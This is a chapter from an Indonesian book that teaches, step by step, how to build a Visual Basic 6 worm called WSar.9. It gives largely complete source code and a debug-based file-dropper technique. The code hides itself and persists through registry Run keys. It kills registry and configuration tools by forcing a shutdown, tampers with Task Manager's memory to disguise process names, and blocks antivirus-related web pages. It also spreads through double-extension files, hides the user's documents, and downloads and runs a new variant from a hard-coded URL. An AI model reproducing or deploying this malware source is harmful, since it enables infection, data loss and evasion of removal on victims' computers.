Private Sub DropFile() On Error Resume Next Dim MyScript, MyBatch, MyFile As String MyScript = "C:\WSarScript.wsr" MyFile = "C:\WSar.vbs" Open MyScript For Output As #1 Print #1, "N " & MyFile Print #1, "E 0100 6F 6E 20 65 72 Print #1, "E 0110 6E 65 78 74 0D Print #1, "E 0120 74 6F 20 31 30 Print #1, "E 0130 53 61 72 2E 39 Print #1, "E 0140 0A 6E 65 78 74 Print #1, "RCX" Print #1, "45" Print #1, "W" Print #1, "Q" Close #1 MyBatch = "C:\WSarBatch.bat" Open MyBatch For Output As #1 Print #1, "@echo off" Print #1, "debug < " & MyScript Print #1, "del " & MyScript Close #1 Shell(MyBatch, vbNormalFocus) End Sub
72 6F 0A 66 0D 0A 20 57 0D"
72 6F 6D 61
20 72 73 73
72 20 67 20
65 69 62 48
73 20 6F 65
75 3D 78 72
6D 20 20 65
65 31 22 22
Pada saat procedure DropFile dieksekusi, program akan membuat file "C:\WSarScript.wsr" dengan isi file sebagai berikut:
N C:\WSar.vbs E 0100 6F 6E 20 E 0110 6E 65 78 E 0120 74 6F 20 E 0130 53 61 72 E 0140 0A 6E 65 RCX 45 W Q 65 74 31 2E 78 72 0D 30 39 74 72 0A 0D 20 0D 6F 66 0A 57 72 6F 6D 61 20 72 73 73 72 20 67 20 65 69 62 48 73 20 6F 65 75 3D 78 72 6D 20 20 65 65 31 22 22 20 20 57 0D
Kemudian membuat file batch "C:\WSarBatch.bat" dengan isi file sebagai berikut:
@echo off debug < C:\WSarScript.wsr del C:\WSarScript.wsr
245
Jasakom
Procedure kemudian mengeksekusi file "C:\WSarBatch.bat", yang menggunakan fasilitas debug untuk menghasilkan sebuah file baru dari file script "C:\WSarScript.wsr", dengan nama file "C:\WSar.vbs" dan dengan isi file sebagai berikut:
on error resume next for i = 1 to 10 msgbox "WSar.9 Was Here" next
Hasil file ternyata identik dengan file aslinya. Berikut ini adalah langkah-langkah untuk membuat file asli (WSar.vbs) menjadi file script (C:\WSarScript.wsr) Buka aplikasi MSDOS / COMMAND / CMD, aktifkan direktori C: dimana file asli berada, kemudian ketik perintah berikut:
Tanda garis datar setelah perintah tersebut menunjukan perintah yang dieksekusi telah benar, sekaligus menjadi prompt dalam perintah debug. Untuk mengetahui besar file tersebut ketik "R" atau "RCX" kemudian tekan enter. Bab 15. Worm WSar.9
Jasakom
246
Nilai register yang akan kita gunakan adalah CX. Nilai CX 0045 menunjukan bahwa file WSar.vbs memiliki kapasitas sebesar 0045 (hexadecimal) atau 69 bytes (decimal). System perhitungan hexadecimal menggunakan base 16, hexadecimal menggunakan 10 angka pertama dari system desimal: 0, 1, 2, 3, 4, 5, 6, 7, 8, dan 9. Sedangkan angka 10 memiliki 2 digit sehingga dalam hexadecimal diwakilkan dengan huruf A, angka 11 dengan huruf B, 12 dengan C, 13 dengan D, 14 dengan E, dan angka 15 dengan huruf F. Perhatikan contoh tabel konversi decimal (dec) dan hexadecimal (hex) berikut:
Dec 0 Hex 0 Dec 16 Hex 10 Dec 32 Hex 20 Dec 64 Hex 40 Hex 90 Hex A0 Hex F0
1 1 17 11 33 21 65 41 91 A1 F1
2 2 18 12 34 22 66 42 92 A2 F2
3 3 19 13 35 23 67 43 93 A3 F3
4 4 20 14 36 24 68 44 94 A4 F4
5 5 21 15 37 25 69 45 95 A5 F5
6 6 22 16 38 26 70 46 96 A6 F6
7 7 23 17 39 27 71 47 97 A7 F7
8 8 24 18 40 28 72 48 98 A8 F8
9 9 25 19 41 29 73 49 99 A9 F9
10 A 26 1A 42 2A 74 4A 9A AA FA
11 B 27 1B 43 2B 75 4B 9B AB FB
12 C 28 1C 44 2C 76 4C 9C AC FC
13 D 29 1D 45 2D 77 4D 9D AD FD
14 E 30 1E 46 2E 78 4E 9E AE FE
15 F 31 1F 47 2F 79 4F 9F AF FF
Dec 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 Dec 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 Dec 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 Dec 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 Hex 100 101 102 103 104 105 106 107 108 109 10A 10B 10C 10D 10E 10F
247
Jasakom
Tampilan diatas adalah hex dump dari file WSar.vbs. Tugas kita sekarang adalah mendapatkan isi file WSar.vbs dari hex dump tersebut. Untuk itu tambahkan 0100 pada RCX (0045) sehingga menjadi 0145 (0100 + 0045 = 0145), kemudian ketik D 0100,0145 dan tekan enter (0100 adalah nilai default dan 0145 merupakan hasil dari penjumlahan sebelumnya).
Setelah mendapatkan hex dump yang dicari, copy data tersebut dan paste-kan pada procedure DropFile.
Jasakom
248
65 74 31 2E 78
72 0D 30 39 74
72 0A 0D 20 0D
6F 66 0A 57
72 6F 6D 61
20 72 73 73
72 20 67 20
65 69 62 48
73 20 6F 65
75 3D 78 72
6D 20 20 65
65 31 22 22
20 20 57 0D
Baris pertama pada script diatas dimulai dengan N (Name) dan diikuti dengan nama dan lokasi dimana file tersebut akan dibuat. Baris ke-2 hingga ke-6 adalah data hex dump sebelumnya dengan diberi awalan E (Enter), baris ke-7 adalah instruksi register RCX dan langsung memberikan nilai 45 pada baris berikutnya. Baris ke-9 memberikan instruksi W (Write) dan diakhiri dengan instruksi Q (Quit). Dari contoh yang diberikan diatas dapat diketahui bahwa cara tersebut umumnya menggunakan kapasitas file yang berlipat (hal ini disebabkan file asli dikonversi terlebih dahulu kedalam bentuk hexadecimal yang menggunakan 2 byte untuk mewakili setiap byte dari file asli) dengan proses kompilasi yang terbilang tidak efisien, karena file berupa byte hasil konversi tadi diekstrak menjadi plain text terlebih dahulu, baru kemudian memanfaatkan perintah debug untuk mendapatkan file asli. Walau demikian, ini adalah teknik real yang digunakan para worm writer, termasuk worm Imelda Perkasa yang merupakan salah satu worm lokal dari Indonesia, sehingga penulis tetap memberikan contoh metode Drop File dengan menggunakan fasilitas debug ini. Bab 15. Worm WSar.9 Lalu teknik apakah yang digunakan WSar.9 dalam mengaplikasikan metode Drop File?. Dalam bahasa pemrograman Visual Basic 6.0 terdapat fasilitas Resource Files yang dapat memudahkan kita menggunakan metode Drop File. Dengan teknik ini file asli langsung diletakan pada body program sebagai file Res tanpa adanya konversi terlebih dahulu, sehingga kapasitas file asli tidak berlipat, sedangkan Drop File secara sederhana dilakukan hanya dengan meng-ekstrak file tersebut dari file utama, akibatnya kecepatan yang diperoleh jauh lebih baik. Metode ini akan penulis contohkan lebih detil pada pemrograman WSar.9.
249
Jasakom
15.2 ALGORITMA
WSar.9 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Worm menyembunyikan aplikasi file worm dari task list 2. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 3. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup 4. Worm membuat file launcher baru dengan nama yang diambil secara acak setiap kali Windows startup dan menghapus file launcher yang lama 5. Memanipulasi registry untuk mengubah default icon untuk My Computer, Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe" menjadi icon bergambar hati. Icon tersebut diekstrak dari file utama dengan menggunakan metode Drop File 6. Melakukan shut down (restart) jika user menjalankan aplikasi System Configuration Utility (MSConfig) 7. Melakukan shut down (turn off) jika user menjalankan aplikasi Registry Editor 8. Jika user menjalankan aplikasi Task Manager, maka pada tab Processes, caption process "EXPLORER" diubah menjadi "SVCHOST", sementara caption process worm sendiri diubah menjadi "EXPLORER", selain itu worm mengubah caption "SYSTEM" menjadi "WSarWasHere" 9. Worm akan memblokir web address yang mengandung kata "worm", "virus" dan "removal", dengan langsung mengakhiri aplikasi browser 10. Pada saat tertentu berusaha menginfeksi disket, menukar fungsi tombol pada mouse, menghilangkan tombol Startmenu dan secara otomatis men-download varian baru dari suatu website dan langsung mengeksekusinya
Jasakom
250
11. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.9 Ada Pada Komputer Anda", mencari file berekstensi *.doc pada direktori My Documents dan langsung menyembunyikannya, kemudian membuat salinan worm disetiap folder yang dilalui dengan nama file "where my document.doc.exe".
15.3 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.9 Tambahkan 1 buah object ListBox, 3 buah object Timer, 1 buah object Inet, 6 buah module dan 1 buah file res (resource files), kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible BorderStyle ControlBox
Nilai
frmWSar9 (Icon) False False None False
Keterangan
Mengatur nama form menjadi frmWSar9 Pilih icon yang akan digunakan pada form, WSar.9 menggunakan icon word.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box
Nilai
tmrDefender True 200
Keterangan
Mengatur nama Timer menjadi tmrDefender Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.2 detik
251
Jasakom
Nilai
tmrBlockUrl True 1000
Keterangan
Mengatur nama Timer menjadi tmrBlockUrl Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Nilai
tmrMulti True 500
Keterangan
Mengatur nama Timer menjadi tmrWinForce Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.5 detik
Nilai
lstDoc
Keterangan
Mengatur nama ListBox menjadi lstDoc
Nilai
mdlBlockUrl
Keterangan
Mengatur nama module menjadi mdlBlockUrl
Nilai
mdlIseng
Keterangan
Mengatur nama module menjadi mdlIseng
Jasakom
252
Nilai
mdlRegistryAPI
Keterangan
Mengatur nama module menjadi mdlRegistryAPI
Nilai
mdlRenProcess
Keterangan
Mengatur nama module menjadi mdlRenProcess
Nilai
mdlTurnOff
Keterangan
Mengatur nama module menjadi mdlTurnOff
Nilai
mdlWinCheck
Keterangan
Mengatur nama module menjadi mdlWinCheck
Kemudian tambahkan object Inet dengan menambahkan komponen Inet pada toolbox terlebih dahulu dengan cara: Bab 15. Worm WSar.9 1. Klik Project pada menubar, dan pilih Component. Atau dengan menekan kombinasi tombol Ctrl+T. 2. Beri seleksi pada opsi Microsoft Internet Transfer Control 6.0, kemudian klik Close. 3. Klik ganda object Inet pada toolbox untuk memasukannya pada form. Terakhir tambahkan file Res. File yang ditambahkan bisa berupa file apa saja seperti file image, text atau executable. Dalam hal ini WSar.9 memasukan sebuah file icon bergambar hati pada file Res.
253
Jasakom
Berikut ini adalah langkah-langkah untuk membuat suatu file Res. 1. Klik Add-Ins pada menubar, dan pilih Add-In Manager. Atau dengan menekan kombinasi tombol Alt (tahan) +A +A 2. Pada list Available Add-Ins klik VB 6 Resource Editor, kemudian pada frame Load Bahavior beri check pada opsi Loaded/Unloaded dan opsi Load on Startup, akhiri dengan mengklik tombol OK
Jasakom
254
5. Pada kotak dialog "Open A Custom Resource", cari dan temukan file yang akan dimasukan kedalam file res. Dalam hal ini, icon bergambar hati "heart.ico", kemudian klik Open
6. Pada tree Resource File dapat terlihat sebuah sub tree baru, muncul dibawahnya dengan nama "CUSTOM" dan ID 101. WSar.9 tetap menggunakan nilai ini, namun untuk mengubah nilai ini bisa dilakukan dengan mengklik pada tombol Edit Properties.
255
Jasakom
Terakhir, simpan file res tersebut dengan mengklik tombol Save. Simpan dengan nama WSar, setelah itu secara otomatis pada Project Explorer muncul sebuah sub tree baru dengan nama Related Documents dan sebuah file res dengan nama WSar.RES. Setelah Anda berhasil menambahkan file icon sebagai resource file, ketik kode program berikut ini pada module mdlBlockUrl:
Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long Private Declare Function GetWindow Lib "user32" (ByVal hWnd _ As Long, ByVal wCmd As Long) As Long Private Declare Function GetWindowTextLength Lib "user32" Alias _ "GetWindowTextLengthA" (ByVal hWnd As Long) As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Private Declare Function GetClassName Lib "user32" Alias _ "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName _ As String, ByVal nMaxCount As Long) As Long Private Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Any) As Long Global thehwnd As Long Global thesite As String Const GWW_HINSTANCE = (-6) Const GWW_ID = (-12) Const GWL_STYLE = (-16) Const GW_CHILD = 5 Const GW_HWNDFIRST = 0 Const GW_HWNDLAST = 1 Const GW_HWNDNEXT = 2 Const GW_HWNDPREV = 3 Const GW_OWNER = 4 Global Const WM_SETTEXT = &HC Global Const WM_GETTEXT = &HD Global Const WM_GETTEXTLENGTH = &HE Private Declare Function SetWindowText Lib "user32" Alias _ "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String) As Long Private Declare Function ShellExecute Lib "shell32.dll" Alias _ "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _ String, ByVal lpFile As String, ByVal lpParameters As String, _ ByVal lpDirectory As String, ByVal nShowCmd As Long) As _ Long
Jasakom
256
Public Function BlockUrl(ByVal UrlText As String) As Boolean Dim currwnd As Long currwnd = GetWindow(Forms(0).hWnd, GW_HWNDFIRST) While currwnd <> 0 Length = GetWindowTextLength(currwnd) listitem$ = Space$(Length + 1) Length = GetWindowText(currwnd, listitem$, Length + 1) If Length > 0 Then X = Right$(listitem$, 29) mypos = InStr(1, X, "Microsoft Internet Explorer", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText Dim K As String K = WindowText(currwnd) AppActivate(K) SendKeys("%{F4}") Exit Function End If End If mypos = InStr(1, X, "Netscape", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText AppActivate(WindowText(currwnd)) SendKeys("%{F4}") Exit Function End If End If End If currwnd = GetWindow(currwnd, GW_HWNDNEXT) X = DoEvents() End While End Function Private Function EditInfo(ByVal window_hwnd As Long) As String Dim txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim children() As Long Dim num_children As Integer Dim i As Integer buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) If buf = "Edit" Then EditInfo = WindowText(window_hwnd) thehwnd = window_hwnd Exit Function End If
257
Jasakom
num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd <> 0 num_children = num_children + 1 ReDim Preserve children(1 To num_children) children(num_children) = child_hwnd child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop For i = 1 To num_children txt = EditInfo(children(i)) If txt <> "" Then Exit For Next i EditInfo = txt End Function Private Function WindowText(ByVal window_hwnd As Long) As String Dim txtlen As Long Dim txt As String WindowText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, _ 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 txt = Space$(txtlen) txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, _ ByVal txt) WindowText = Left$(txt, txtlen) End Function
Jasakom
258
259
Jasakom
Private Function DoThat(ByVal PIDX As Long, ByVal OldText As String, _ ByVal NewText As String) Dim i, rsd As Integer If Len(OldText) > Len(NewText) Then rsd = Len(OldText) - Len(NewText) For i = 1 To rsd NewText = NewText & " " Next i End If If Len(OldText) < Len(NewText) Then NewText = NewText & Chr(0) End If DoEvents() If Not InitProcHack(PIDX) Then Exit Function Dim c, startpos As Integer Dim addr As Long Dim buffer As String * 20016 Dim readlen As Long Dim writelen As Long Dim srchstring, repstring As String Dim bytewrite srchstring = UNICODE(OldText) repstring = UNICODE(NewText) DoEvents() For addr = 0 To 4000 Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, _ readlen) If readlen > 0 Then startpos = 1 While InStr(startpos, buffer, srchstring) > 0 p = (addr) * 20000 + InStr(startpos, buffer, srchstring) - 1 Call WriteProcessMemory(myHandle, CLng(p), repstring, _ Len(repstring), bytewrite) startpos = InStr(startpos, buffer, Trim(srchstring)) + 1 End While End If Next addr DoEvents() End Function
Public Function RenProcess(ByVal OldText As String, ByVal NewText As String) Dim newproclist As String newproclist = "" Dim myProcess As PROCESSENTRY32 Dim mySnapshot As Long myProcess.dwSize = Len(myProcess) mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, _ 0&)
Jasakom
260
While ProcessNext(mySnapshot, myProcess) If InStr(1, myproclist$, "[" & _ myProcess.th32ProcessID & "]") = 0 Then If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) _ - 1) = "taskmgr.exe" Then DoThat(myProcess.th32ProcessID, OldText, NewText) Else DoEvents() End If End If newproclist = newproclist & "[" & myProcess.th32ProcessID & "]" End While End Function
261
Jasakom
Private Type LUID dwLowPart As Long dwHighPart As Long End Type Private Type LUID_AND_ATTRIBUTES udtLUID As LUID dwAttributes As Long End Type Private Type TOKEN_PRIVILEGES PrivilegeCount As Long laa As LUID_AND_ATTRIBUTES End Type Dim uflags As Long Dim success As Long Private Type POINTAPI X As Long Y As Long End Type Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Private Type WINDOWPLACEMENT Length As Long flags As Long ShowCmd As Long ptMinPosition As POINTAPI ptMaxPosition As POINTAPI rcNormalPosition As RECT End Type Public Enum TurnMethode ShutDown LogOff Restart End Enum Private Function CheckPrivilege() As Boolean #If Win32 Then Dim OSV As OSVERSIONINFO OSV.OSVSize = Len(OSV) If GetVersionEx(OSV) = 1 Then CheckPrivilege = (OSV.PlatformID = _ VER_PLATFORM_WIN32_NT) And (OSV.dwVerMajor >= 4) End If #End If End Function
Jasakom
262
Private Function WithPrivilege() As Boolean Dim hProcessHandle As Long Dim hTokenHandle As Long Dim lpv_la As LUID Dim token As TOKEN_PRIVILEGES hProcessHandle = GetCurrentProcess() If hProcessHandle <> 0 Then If OpenProcessToken(hProcessHandle, _ (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), _ hTokenHandle) <> 0 Then If LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", _ lpv_la) <> 0 Then With token .PrivilegeCount = 1 .laa.udtLUID = lpv_la .laa.dwAttributes = SE_PRIVILEGE_ENABLED End With If AdjustTokenPrivileges(hTokenHandle, False, token, ByVal 0&, _ ByVal 0&, ByVal 0&) <> 0 Then WithPrivilege = True End If End If End If End If End Function Public Function TurnOff(ByVal Methode As TurnMethode, ByVal ForceOff As _ Boolean) If Methode = ShutDown Then uflags = EWX_SHUTDOWN End If If Methode = LogOff Then uflags = EWX_LOGOFF End If If Methode = Restart Then uflags = EWX_REBOOT End If If CheckPrivilege() Then success = WithPrivilege() End If If ForceOff = True Then uflags = uflags Or EWX_FORCE If success Then Call ExitWindowsEx(uflags, 0&) Else Call ExitWindowsEx(uflags, 0&) End If End Function
263
Jasakom
Jasakom
264
For i = 1 To RandNo Randomize() a = Int(Rnd * 62) RandomName = RandomName & Mid(alp, a, 1) Next i If LCase(WSarName) = "error" Then FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") Else If LCase(App.Path) <> LCase(SpecialFolder(1)) Then End Kill(SpecialFolder(1) & "\" & WSarLast) DeleteKeyValue("HKEY_LOCAL_MACHINE\Software\Micro" & _ "soft\Windows\CurrentVersion\Run", WSarName) FileCopy(WormFile, SpecialFolder(1) & "\" & RandomName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductNo", RandomName) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "ProductCode", App.EXEName & _ ".exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", RandomName, SpecialFolder _ (1) & "\" & RandomName & ".exe") End If End Sub Private Sub ChangeIcon() On Error Resume Next If Dir(SpecialFolder(0) & "\" & "WSar9.ico") = "" Then DropFile("CUSTOM", 101, SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CLASSES_ROOT\exefile\DefaultIcon", _ "", SpecialFolder(0) & "\" & "WSar9.ico") End If SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-A" & _ "D25-11D0-98A8-0800361B1103}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3A" & _ "EA-1069-A2D8-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3A" & _ "EA-1069-A2D7-08002B30309D}\DefaultIcon", "", _ SpecialFolder(0) & "\" & "WSar9.ico") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "full", _ SpecialFolder(0) & "\" & "WSar9.ico")
265
Jasakom
SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\CLSID\{645FF040-508" & _ "1-101B-9F08-00AA002F954E}\DefaultIcon", "empty", _ SpecialFolder(0) & "\" & "WSar9.ico") End Sub Private Sub tmrBlockUrl_Timer() On Error Resume Next BlockUrl("worm") BlockUrl("virus") BlockUrl("removal") End Sub Private Sub tmrDefender_Timer() On Error Resume Next If WinCheck("taskmgr.exe") = False Then TskActMon = False End If If WinCheck("taskmgr.exe") = True And TskActMon = True Then _ Exit Sub If WinCheck("taskmgr.exe") = True And TskActMon = False Then RenProcess(App.EXEName & ".exe", "explorer.exe") RenProcess("EXPLORER.EXE", "SVCHOST.EXE") RenProcess("Explorer.exe", "svchost.exe") RenProcess("SYSTEM", "WSarWasHere") TskActMon = True End If If WinCheck("regedit.exe") = True Or WinCheck("regedt32.exe") = _ True Then tmrDefender.Enabled = False TurnOff(ShutDown, True) End If If WinCheck("msconfig.exe") = True Then tmrDefender.Enabled = False TurnOff(Restart, True) End If End Sub Private Sub InfectFloppy() On Error Resume Next Dim Files() As String Dim i As Integer Dim Acak As Integer lstDoc.Clear() lstDoc.AddItem(GetStringValue("HKEY_CURRENT_USER\So" & _ "ftware\Microsoft\Windows\CurrentVersion\Explorer\Shell F" & _ "olders", "Personal")) Files() = GetFiles(lstDoc.List(0) & "\" & "*.doc", vbNormal) lstDoc.Clear() For i = 1 To UBound(Files) lstDoc.AddItem(Files(i)) Next i Randomize() Acak = Int(Rnd * (lstDoc.ListCount))
Jasakom
266
If Len(Dir$("A:\*doc .exe")) = 0 Then If lstDoc.ListCount > 0 Then FileCopy(WormFile, "A:\" & lstDoc.List(Acak) & " .exe") Else FileCopy(WormFile, "A:\readme.doc .exe") End If End If End Sub Private Sub Payload() On Error Resume Next Phantom(GetStringValue("HKEY_CURRENT_USER\Software\" & _ "Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal"), "*.doc", WormFile, "where my document.doc .exe") MsgBox("WSar.9 Ada Pada Komputer Anda", vbExclamation, _ "WSar.9") End Sub Private Sub tmrMulti_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If Minute(Now) = 1 Or Minute(Now) = 31 Then SwapMouseButton(True) StartButton(False) Else SwapMouseButton(False) StartButton(True) End If If Month(Now) = 10 And Day(Now) = 13 And CPayload = False _ Then CPayload = True Payload() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir If Year(Now) > 2006 And VarianExist = False Then If Len(Dir$(SpecialFolder(0) & "\wsar" & Year(Now) & ".exe")) = _ 0 Then Downloader("http://www.iwwa.or.id/newvarian/wsarx.exe", _ SpecialFolder(0) & "\wsar" & Year(Now) & ".exe", True) VarianExist = True End If End If akhir: End Sub
267
Jasakom
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function DropFile(ByVal ResType As String, ByVal ResID As Long, _ ByVal OutputPath As String) On Error Resume Next Dim DROP() As Byte DROP = LoadResData(ResID, ResType) Open OutputPath For Binary As #1 Put #1, , DROP Close #1 End Function Private Function Downloader(ByVal FileOnNet As String, ByVal FileOutput _ As String, ByVal Execute As Boolean) On Error Resume Next Dim newfile() As Byte If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir Inet1.RequestTimeout = 40 newfile() = Inet1.OpenURL(FileOnNet, icByteArray) Open FileOutput For Binary Access Write As #1 Put #1, , newfile() Close #1 If Execute = True Then Shell(FileOutput) End If akhir: End Function Private Function Phantom(ByVal DirPath As String, ByVal Extention _ As String, ByVal FullSourcePath As String, ByVal TargetName As _ String) As Long On Error Resume Next Dim eksfile As String Dim fwall As Long If Right(DirPath, 1) <> "\" Then DirPath = DirPath & "\" eksfile = Dir(DirPath, vbDirectory)
Jasakom
268
Do While Trim(eksfile) <> "" If Trim(eksfile) <> "." And Trim(eksfile) <> ".." Then If (GetAttr(DirPath + eksfile) And vbDirectory) = _ vbDirectory Then fwall = Phantom(DirPath + eksfile, Extention, _ FullSourcePath, _ TargetName) eksfile = Dir(DirPath, vbDirectory) Else eksfile = Dir(, vbDirectory) End If Else eksfile = Dir(, vbDirectory) End If Loop eksfile = Dir(DirPath + Extention) Do While Trim(eksfile) <> "" FileCopy(FullSourcePath, DirPath & TargetName) SetAttr (DirPath + eksfile), vbHidden + vbSystem eksfile = Dir Loop If Right(DirPath, 1) = "\" Then DirPath = Mid(DirPath, 1, Len _ (DirPath) - 1) SetAttr(DirPath, vbSystem) Phantom = 0 End Function Function GetFiles(filespec As String, Optional Attributes As _ VbFileAttribute) As String() On Error Resume Next Dim result() As String Dim filename As String, count As Long, path2 As String Const ALLOC_CHUNK = 50 ReDim result(0 To ALLOC_CHUNK) As String filename = Dir$(filespec, Attributes) Do While Len(filename) count = count + 1 If count > UBound(result) Then ReDim Preserve result(0 To count + ALLOC_CHUNK) As String End If result(count) = filename filename = Dir$ Loop ReDim Preserve result(0 To count) As String GetFiles = result End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
269
Jasakom
Untuk module mdlRegistryAPI Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinCheck menggunakan module yang sama pada WSar.8 Berikut penjelasan tentang kode program: Procedure Form_Load seperti biasa mengatur agar worm tidak tampil pada jendela Task List, mencegah proses baru dari file yang sama dan mengeksekusi procedure InfectSystem, kemudian worm memanggil procedure ChangeIcon. Adapun pengaturan nilai variabel CPayload dan VarianExist menjadi false berkaitan dengan procedure tmrMulti_Timer. Procedure InfectSystem pada WSar.9 berbeda pada worm dasar sebelumnya, dimulai dengan memberikan nilai pada beberapa variabel yang mengacu pada suatu data registry, yaitu: Variabel WSarName mengacu pada key registry "HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data "ProductNo" Variabel WSarLast yang mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data 'ProductCode Variabel WSarPath yang mengacu pada key registry "HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" dan dengan nilai data yang diambil dari nilai variabel WSarName. Jika nilai pada variabel WSarName adalah "error" yang berarti nilai registry tersebut tidak ditemukan dan berarti pula bahwa worm belum melakukan penginfeksian pada system komputer tersebut maka worm akan membuat salinan ke direktori System Windows dengan menggunakan nama yang diambil secara acak dan berkisar antara 4 hingga 12 karakter. Untuk memudahkan penjelasan berikutnya nama file ini kita sebut dengan istilah NextName. Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName, kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows.
Jasakom
270
